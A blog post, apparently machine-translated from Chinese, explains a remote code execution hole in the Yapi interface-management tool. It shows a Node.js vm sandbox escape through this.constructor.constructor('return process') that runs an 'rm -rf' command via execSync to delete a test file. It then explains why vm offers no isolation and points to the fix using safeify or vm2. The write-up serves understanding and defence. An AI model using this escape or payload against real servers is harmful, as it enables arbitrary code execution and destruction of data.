6
头图

The thing is like this, because our project uses this Yapi project, we received a warning notice from the security group a few days ago, saying that Yapi has been exposed to a security vulnerability. Newly registered users can execute arbitrary code on your server and delete anything. , Let me make changes urgently! !

I thought that such a large open source project (21.7k) had such a serious security loophole, it shouldn't be.

I believe that many small partners have used this open source software as an interface management tool, but in order to prevent some small partners from not knowing what this library is doing, I will briefly introduce it.

YAPI (

Well, let me go on to say that I took the recurrence path of the security group to reproduce the Yapi vulnerability.

First, I created a 1.js /Users/qiufeng/my/yapi directory.

Then open a Yapi project-click settings-global mock script, and configure it

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockjson = process.mainModule.require("child_process").execSync("rm -rf /Users/qiufeng/my/yapi/1.js").toString()

Next, visit our global mock address

Finally, we found that our 1.js gone

So I immediately searched for Yapi security vulnerabilities in Google, and found that a lot of victims had been fried on the Internet, and even Dalian University of Technology issued a statement requesting that the relevant code be rectified immediately.

Everyone is mined by mining, and transplanted by transplanted Trojan horse.

Then we take a look at how to fix this security hole. The official website mainly fixes this problem by merging a PR.

The main code fixes this vulnerability is to use the safeify replaced Node.js of vm

Oh, it turns out that I used the vm module. Here I will also popularize vm . Let’s take a look at how the Node.js official website is defined.

The vm vm module enables compiling and running code within V8 Virtual Machine contexts.). The vm module is not a security mechanism. Don't use it to run untrusted code.

Popular understanding is that it can dynamically execute some JavaScript code (somewhat similar to eval and Function Of course, the official website also clearly pointed out the security of vm

So is there any difference between vm and ordinary eval and Function Of course there is. First of all, the biggest problem with eval is the intrusive problem, because the execution of eval will invade my current code. And vm provides a more secure sandbox environment.

First, you can use the vm.Script method to build a script object: new vm.Script(code[, options]) , the API can be summarized as the following three:

  • script.runInThisContext(opts) -Run the script in the current scope, that is, the script can access the global variables of the current script instead of the local scope.
  • script.runInContext(context, opts) -Run the script in the scope provided, the scope is the result vm.createContext In script.runInContext , you can provide a custom controllable sandbox.
  • script.runInNewContext(sandbox, opts) -Run the script within the scope of a new sandbox. That is, runInNewContext will automatically call vm.createContext for you.

Examples are as follows:

const vm = require('vm');
vm.runInThisContext(code, opts);
vm.runInNewContext(code, sandbox, opts);
vm.runInContext(code, context, opts);

vm implements the characteristics of the sandbox through the scope of options, which isolates internal and external influences at one time.

So far, it seems that vm is safe. Why did this security breach occur?

The reason is still because of the characteristics of js...

First look at a piece of code

const vm = require('vm');
vm.runInNewContext('this.constructor.constructor("return process")().exit()');

This is a messy code, but don't underestimate this code, this code can directly make your program exit.

Then we will analyze step by step, we will expand runInNewContext

const vm = require('vm');

const sandbox = {};
const script = new vm.Script('this.constructor.constructor("return process")().exit()');
const context = vm.createContext(sandbox);

script.runInContext(context);

We can see, create vm environment, you first need to create a sandbox object, then the object is vm Global Context execute the script, vm of this point sandbox .

Because the above code can also be disassembled into this.

const vm = require('vm');

const sandbox = {};
const ObjectConstructor = sandbox.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const foo = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = foo();
process.exit();

From this derivation process, we can easily conclude that vm not safe is that this points to the sandbox, and the sandbox is an object. The constructor of the object is the constructor of the Object, and the constructor of the constructor of the Object is the Function. The constructor.

Because we want to solve this problem, we can use the safer vm2 or safeify . Next time, we will analyze the source code of these two libraries, how they can eliminate the shortcomings of vm

related links

https://segmentfault.com/a/1190000012672620

https://github.com/YMFE/yapi/commit/37f7e55a07ca1c236cff6b0f0b00e6ec5063c58e

back at the author’s previous highly praised articles, you may be able to gain more!

Conclusion

+ like + favorite + comment + forward , originality is not easy, I encourage the author to create better articles

Pay attention to the notes of the Qiufeng, a front-end public account that focuses on front-end interviews, engineering, and open source


程序员秋风
3k 声望3.9k 粉丝

JavaScript开发爱好者,全栈工程师。